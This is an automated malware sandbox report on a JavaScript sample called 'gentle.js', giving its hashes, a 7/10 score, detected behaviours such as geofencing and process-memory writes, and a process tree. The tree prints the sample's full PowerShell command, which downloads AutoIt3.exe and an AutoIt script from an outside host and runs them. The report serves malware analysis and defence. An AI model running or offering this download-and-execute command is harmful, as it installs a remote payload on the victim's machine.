Resubmissions

02-11-2023 15:23

231102-ssnvhafg98 10

01-11-2023 21:26

231101-z96j7sdc7x 7

Analysis

  • max time kernel
    11s
  • max time network
    22s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-11-2023 21:26

General

  • Target

    gentle.js

  • Size

    135KB

  • MD5

    ffa38ff8c434945de11b621958170a10

  • SHA1

    6429a10526d4224e5a9d5e4ab9f71cfa3a1bd460

  • SHA256

    4dce8991fb2942cb8443aba697311072aa25fc61b4b4186a54e7956c2bec6799

  • SHA512

    f4f5fcde08d4ab8d167071ba9eed55cb4d575251da66fcd8005a85970f26e07be31a6f65a42ff47ee238e498f66fef625c97eabe0c87eee3f18ae1d3f98d022a

  • SSDEEP

    1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0c:0T9U7hgaX6eerjqlI2IO6Mzqfpu

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"
      2⤵
        PID:4716

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads